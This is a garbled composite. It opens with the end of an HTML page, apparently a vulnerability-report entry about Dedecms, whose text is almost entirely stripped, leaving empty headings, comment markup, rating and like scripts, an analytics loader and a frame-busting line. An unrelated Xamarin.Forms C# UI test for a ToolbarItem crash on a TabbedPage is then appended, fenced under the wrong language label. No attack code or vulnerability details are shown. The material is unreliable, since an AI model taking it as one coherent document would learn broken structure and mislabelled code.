src="../upload/201401/1418233608f553838217e3da757a16ce274ce566.png" alt="5.png" width="600" onerror="javascript:errimg(this);"/></a></p><p class="detail"> </p> </div> <h3 class="detailTitle"></h3> <div class='wybug_patch'> <p class="detail"> </p> </div> <h3 class="detailTitle"> <a style="font-weight:normal" href="path_to_url" title="Matt">Matt</a>@<a style="font-weight:normal" href="path_to_url" title="Dedecms 8()"></a></h3> <hr align="center"/> <h2 id="bugreply"></h2> <div class='bug_result'> <h3 class="detailTitle"></h3> <p class="detail"></p> <p class="detail">Rank6 </p> <p class="detail">2014-01-14 22:24</p> <h3 class="detailTitle"></h3> <p class="detail"></p> <h3 class="detailTitle"></h3> <p class="detail"></p> </div> <hr align="center" /> <script type="text/javascript"> var bugid="48913"; var bugRating="-3"; var myRating=""; var ratingCount="0"; function ShowBugRating(k){ var ratingItems=$(".myrating span"); $.each(ratingItems,function(i,n){ var nk=parseInt($(n).attr("rel")); if(nk<=k){ $(n).addClass("on"); }else{ $(n).removeClass("on"); } }); $(".myrating span").hover( function(){ $("#ratingShow").html($(this).attr("data-title")); }, function(){ $("#ratingShow").html(""); } ); } $(document).ready(function(){ if(myRating==""){ var ratingItems=$(".myrating span"); $(".myrating span").hover( function(){ $(this).addClass("hover"); var k=parseInt($(this).attr("rel")); $.each(ratingItems,function(i,n){ var nk=parseInt($(n).attr("rel")); if(nk<k) $(n).addClass("on"); if(nk>k) $(n).removeClass("on"); }); $("#ratingShow").html($(this).attr("data-title")); }, function(){ $(this).removeClass("hover"); if($("#myRating").val()==""){ $.each(ratingItems,function(i,n){ $(n).removeClass("on"); }); } $("#ratingShow").html(""); } ); $(".myrating span").click(function(){ var rating=$(this).attr("rel"); var k=parseInt($(this).attr("rel")); $.post("/ajaxdo.php?module=bugrating",{"id":bugid,"rating":rating,"token":$("#token").val()},function(re){ // $(".myrating span").unbind(); re=parseInt(re); switch(re){ case 1: $("#ratingShow").html(_LANGJS.RATING_SUCCESS); $("#ratingSpan").html(parseInt($("#ratingSpan").html())+1); $.each(ratingItems,function(i,n){ var nk=parseInt($(n).attr("rel")); if(nk<=k){ $(n).addClass("on"); }else{ $(n).removeClass("on"); } }); ShowBugRating(rating); break; case 2: $("#ratingShow").html(_LANGJS.LOGIN_FIRST); break; case 4: $("#ratingShow").html(_LANGJS.RATING_BUGS_DONE); break; case 6: $("#ratingShow").html(_LANGJS.RATING_BUGS_SELF); break; default:break; } }); }); }else{ if(ratingCount>2){ ShowBugRating(bugRating); }else{ ShowBugRating(-3); } } }); </script> <h3 class="detailTitle"></h3> <p class="detail"></p> <h5 class="rating"> <div class="ratingText"><span>(<span id="ratingSpan">0</span>)</span>:</div> <div class="myrating"> <span rel="-2" data-title=""></span> <span rel="-1" data-title=""></span> <span rel="0" data-title=""></span> <span rel="1" data-title=""></span> <span rel="2" data-title=""></span> <div id="ratingShow"> </div> </div> </h5> <input type="hidden" id="myRating" value="" /> <hr align="center" /> <h2></h2> <div id="replys" class="replys"> <ol class="replylist"> <li class="reply clearfix"> <div class="reply-content"> <div class="reply-info"> <span class="addtime">2014-01-14 18:26</span> \| <a target='_blank' href="path_to_url"></a> <!-- @zm 2013-12-13 Begin --> ( \| <!-- @zm 2013-12-13 End --> Rank:1 :2 \| ) <div class="likebox"> <span class="likepre" title="" rel="76927"></span> <span class="liketext liketext_min"><span id="likenum_76927">0</span></span> <span class="likesuf"></span> </div> </div><!-- reply-info End --> <div class="description"> <p> </p> </div> <div class="replylist-act"> <span class="floor">1#</span> <a title=" " href="javascript:void(0)" class="replyBtn" onclick="Reply('')"></a> </div> </div><!-- reply-content End --> </li> <li class="reply clearfix"> <div class="reply-content"> <div class="reply-info"> <span class="addtime">2014-01-14 18:34</span> \| <a target='_blank' href="path_to_url">Stranger</a> <!-- @zm 2013-12-13 Begin --> ( \| <!-- @zm 2013-12-13 End --> Rank:0 :1 \| .....) <div class="likebox"> <span class="likepre" title="" rel="76929"></span> <span class="liketext liketext_min"><span id="likenum_76929">0</span></span> <span class="likesuf"></span> </div> </div><!-- reply-info End --> <div class="description"> <p>,,........ </p> </div> <div class="replylist-act"> <span class="floor">2#</span> <a title=" Stranger" href="javascript:void(0)" class="replyBtn" onclick="Reply('Stranger')"></a> </div> </div><!-- reply-content End --> </li> <li class="reply clearfix"> <div class="reply-content"> <div class="reply-info"> <span class="addtime">2014-01-15 04:21</span> \| <a target='_blank' href="path_to_url"></a> <!-- @zm 2013-12-13 Begin --> ( \| <!-- @zm 2013-12-13 End --> Rank:28 :24 \| ~) <div class="likebox"> <span class="likepre" title="" rel="76970"></span> <span class="liketext liketext_min"><span id="likenum_76970">0</span></span> <span class="likesuf"></span> </div> </div><!-- reply-info End --> <div class="description"> <p>.... </p> </div> <div class="replylist-act"> <span class="floor">3#</span> <a title=" " href="javascript:void(0)" class="replyBtn" onclick="Reply('')"></a> </div> </div><!-- reply-content End --> </li> </ol><!-- replylist End --> </div><!-- replys End --> <div id="reply" class="reply"> <a name="comment"></a> <p class="detail"> <a href="path_to_url"><u></u></a> </p> <script type="text/javascript"> var masaic = '0'; function CommentLike(id){ $.post("/ajaxdo.php?module=commentrating",{"id":id,"token":$("#token").val()},function(re){ re=parseInt(re); switch(re){ case 1: $("#likenum_"+id).html(parseInt($("#likenum_"+id).html())+1); break; case 4: alert(_LANGJS.COMMENT_GOOD_DONE); break; case 6: alert(_LANGJS.COMMENT_SELF); break; default:break; } }); } $(document).ready(function(){ $(".likebox .likepre").click(function(){ CommentLike($(this).attr("rel")); }); }); </script> <div> </div> <div id="footer"> <span class="copyright fleft"> <a href="path_to_url">ICP15041338-1</a> <!--a href="path_to_url" target="_blank"><img src="/images/sae_bottom_logo.png" title="Powered by Sina App Engine"></a--> </span> <span class="other fright"> <a href="path_to_url"></a> <a href="path_to_url"></a> <a href="path_to_url"></a> <a href="path_to_url"></a> <a href="path_to_url"></a> </span> </div> <script type="text/javascript"> var _bdhmProtocol = (("https:" == document.location.protocol) ? " https://" : " http://"); document.write(unescape("%3Cscript src='" + _bdhmProtocol + "hm.baidu.com/h.js%3Fc12f88b5c1cd041a732dea597a5ec94c' type='text/javascript'%3E%3C/script%3E")); </script> <script type="text/javascript" id="bdshare_js" data="type=button" ></script> <script type="text/javascript" id="bdshell_js"></script> <script type="text/javascript"> document.getElementById("bdshell_js").src = "path_to_url" + new Date().getHours(); if (top.location !== self.location) top.location=self.location; </script> </body> </html> ```
```smalltalk using Xamarin.Forms.CustomAttributes; using Xamarin.Forms.Internals; namespace Xamarin.Forms.Controls.Issues { #if UITEST [NUnit.Framework.Category(Core.UITests.UITestCategories.Bugzilla)] #endif [Preserve(AllMembers = true)] [Issue(IssueTracker.Bugzilla, 37601, "ToolbarItem throws error when navigating to TabbedPage ", PlatformAffected.WinPhone)] public class Bugzilla37601 : TestNavigationPage { protected override void Init() { Navigation.PushAsync(new SelectPage()); } } internal class SelectPage : ContentPage { public SelectPage() { var button = new Button { Text = "Move" }; var label = new Label { Text = "Click the Move button. If the next page is displayed, the test has passed. If the app crashes, the test has failed." }; Content = new StackLayout { Children = { label, button } }; button.Clicked += (sender, args) => { Navigation.PushAsync(new TabbedMain(), true); }; ToolbarItems.Add(new ToolbarItem { Text = "Log Out" }); } } internal class TabbedMain : TabbedPage { public TabbedMain() { var page1 = new ContentPage { Title = "Page1" }; page1.Content = new StackLayout { Children = { new Label { Text = "If you can see this, we haven't crashed. Yay!" } } }; Children.Add(page1); Children.Add(new ContentPage { Title = "Page2" }); } } } ```

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